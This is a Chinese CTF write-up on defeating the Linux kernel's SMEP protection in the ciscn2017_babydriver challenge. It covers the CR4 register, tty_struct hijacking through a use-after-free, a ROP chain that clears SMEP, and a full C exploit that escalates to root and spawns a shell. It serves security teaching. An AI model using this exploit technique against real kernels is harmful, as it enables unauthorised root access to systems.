前言
转载自 CTF Wiki bypass-smep 根据学习情况略有修改
SMEP
为了防止ret2usr
攻击,内核开发者提出了smep
保护(Supervisor Mode Execution Protection
)。smep
是内核的一种保护措施,作用是当 CPU 处于 ring0
模式时,执行用户空间代码
会触发页错误;这个保护在 arm 中被称为 PXN
通过 qemu
启动内核时的选项可以判断是否开启了 smep
保护
➜ ciscn2017_babydriver grep smep ./boot.sh qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
|
最后面有一个+smep
表示开启。 也可以通过
俩检查保护是否开启, 如下:
SMEP 和 CR4 寄存器
系统根据 CR4 寄存器的值判断是否开启 smep 保护, 当 CR4 寄存器的第 20 位是 1 时, 保护开启; 是 0 时, 保护关闭
例如, 当
$CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000
|
时, smep 保护开启。而 CR4 寄存器是可以通过 mov 指令修改的, 因此只需要
mov cr4, 0x1407e0 # 0x1407e0 = 101 0 0000 0011 1111 00000
|
即可关闭 smep 保护。
搜索一下从 vmlinux 中提取出的 gadget,很容易就能达到这个目的。
- 如何查看 CR4 寄存器的值?
- gdb 无法查看 cr4 寄存器的值,可以通过 kernel crash 时的信息查看。为了关闭 smep 保护,常用一个固定值 0x6f0,即
mov cr4, 0x6f0
CISCN2017_babydriver
之前已经分析过使用 uaf 改 cred 的做法,这次换一种方法,通过关闭 smep 保护和 ret2usr 来提权。
这里选取的方法是先通过 uaf 控制一个 tty_struct
结构,在 open("/dev/ptmx", O_RDWR)
时会分配这样一个结构体
tty_struct 的 源码 如下:
struct tty_struct { int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; int index; struct ld_semaphore ldisc_sem; struct tty_ldisc *ldisc; struct mutex atomic_write_lock; struct mutex legacy_mutex; struct mutex throttle_mutex; struct rw_semaphore termios_rwsem; struct mutex winsize_mutex; spinlock_t ctrl_lock; spinlock_t flow_lock; struct ktermios termios, termios_locked; struct termiox *termiox; char name[64]; struct pid *pgrp; struct pid *session; unsigned long flags; int count; struct winsize winsize; unsigned long stopped:1, flow_stopped:1, unused:BITS_PER_LONG - 2; int hw_stopped; unsigned long ctrl_status:8, packet:1, unused_ctrl:BITS_PER_LONG - 9; unsigned int receive_room; int flow_change; struct tty_struct *link; struct fasync_struct *fasync; wait_queue_head_t write_wait; wait_queue_head_t read_wait; struct work_struct hangup_work; void *disc_data; void *driver_data; spinlock_t files_lock; struct list_head tty_files; #define N_TTY_BUF_SIZE 4096 int closing; unsigned char *write_buf; int write_cnt; struct work_struct SAK_work; struct tty_port *port; } __randomize_layout;
|
其中有一个很有趣的结构体tty_operations
, 源码 如下:
struct tty_operations { struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove)(struct tty_driver *driver, struct tty_struct *tty); int (*open)(struct tty_struct * tty, struct file * filp); void (*close)(struct tty_struct * tty, struct file * filp); void (*shutdown)(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); int (*write)(struct tty_struct * tty, const unsigned char *buf, int count); int (*put_char)(struct tty_struct *tty, unsigned char ch); void (*flush_chars)(struct tty_struct *tty); int (*write_room)(struct tty_struct *tty); int (*chars_in_buffer)(struct tty_struct *tty); int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); void (*set_termios)(struct tty_struct *tty, struct ktermios * old); void (*throttle)(struct tty_struct * tty); void (*unthrottle)(struct tty_struct * tty); void (*stop)(struct tty_struct *tty); void (*start)(struct tty_struct *tty); void (*hangup)(struct tty_struct *tty); int (*break_ctl)(struct tty_struct *tty, int state); void (*flush_buffer)(struct tty_struct *tty); void (*set_ldisc)(struct tty_struct *tty); void (*wait_until_sent)(struct tty_struct *tty, int timeout); void (*send_xchar)(struct tty_struct *tty, char ch); int (*tiocmget)(struct tty_struct *tty); int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear); int (*resize)(struct tty_struct *tty, struct winsize *ws); int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew); int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount); void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m); #ifdef CONFIG_CONSOLE_POLL int (*poll_init)(struct tty_driver *driver, int line, char *options); int (*poll_get_char)(struct tty_driver *driver, int line); void (*poll_put_char)(struct tty_driver *driver, int line, char ch); #endif int (*proc_show)(struct seq_file *, void *); } __randomize_layout;
|
大把的函数指针, 因此设想构造下图所示结构体
fake_tty_struct fake_tty_operations +---------+ +----------+ |magic | +-->|evil 1 | +---------+ | +----------+ |...... | | |evil 2 | |...... | | +----------+ +---------+ | |evil 3 | |*ops |--+ +----------+ +---------+ |evil 4 | |...... | +----------+ |...... | |...... | +---------+ +----------+
|
那么我们就可以通过不同的操作(如 write, ioctl
等)来跳转到不同的 evil
了。
对于这道题而言, 因为开启了 smep 保护, 如果想要 ret2usr 提权, 需要修改 cr4 的值, 而控制函数指针是不够的, 可以控制函数指针进行 stack pivot 等操作到我们排布 rop 链的空间,通过 rop 关闭 smep,进而进行后续操作。
这道题目没给 vmlinux,需要使用 extract-vmlinux 解压内核镜像。
关闭 smep 保护后,就可以通过 rop 来为所欲为了,最终的 exp 如下:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h>
#define prepare_kernel_cred_addr 0xffffffff810a1810 #define commit_creds_addr 0xffffffff810a1420
void* fake_tty_operations[30];
size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[*]status has been saved."); }
void get_shell() { system("/bin/sh"); }
void get_root() { char* (*pkc)(int) = prepare_kernel_cred_addr; void (*cc)(char*) = commit_creds_addr; (*cc)((*pkc)(0)); } int main() { save_status();
int i = 0; size_t rop[32] = {0}; rop[i++] = 0xffffffff810d238d; rop[i++] = 0x6f0; rop[i++] = 0xffffffff81004d80; rop[i++] = 0; rop[i++] = (size_t)get_root; rop[i++] = 0xffffffff81063694; rop[i++] = 0; rop[i++] = 0xffffffff814e35ef; rop[i++] = (size_t)get_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss;
for(int i = 0; i < 30; i++) { fake_tty_operations[i] = 0xFFFFFFFF8181BFC5; } fake_tty_operations[0] = 0xffffffff810635f5; fake_tty_operations[1] = (size_t)rop; fake_tty_operations[3] = 0xFFFFFFFF8181BFC5;
int fd1 = open("/dev/babydev", O_RDWR); int fd2 = open("/dev/babydev", O_RDWR); ioctl(fd1, 0x10001, 0x2e0); close(fd1);
int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY); size_t fake_tty_struct[4] = {0}; read(fd2, fake_tty_struct, 32); fake_tty_struct[3] = (size_t)fake_tty_operations; write(fd2,fake_tty_struct, 32);
char buf[0x8] = {0}; write(fd_tty, buf, 8);
return 0; }
|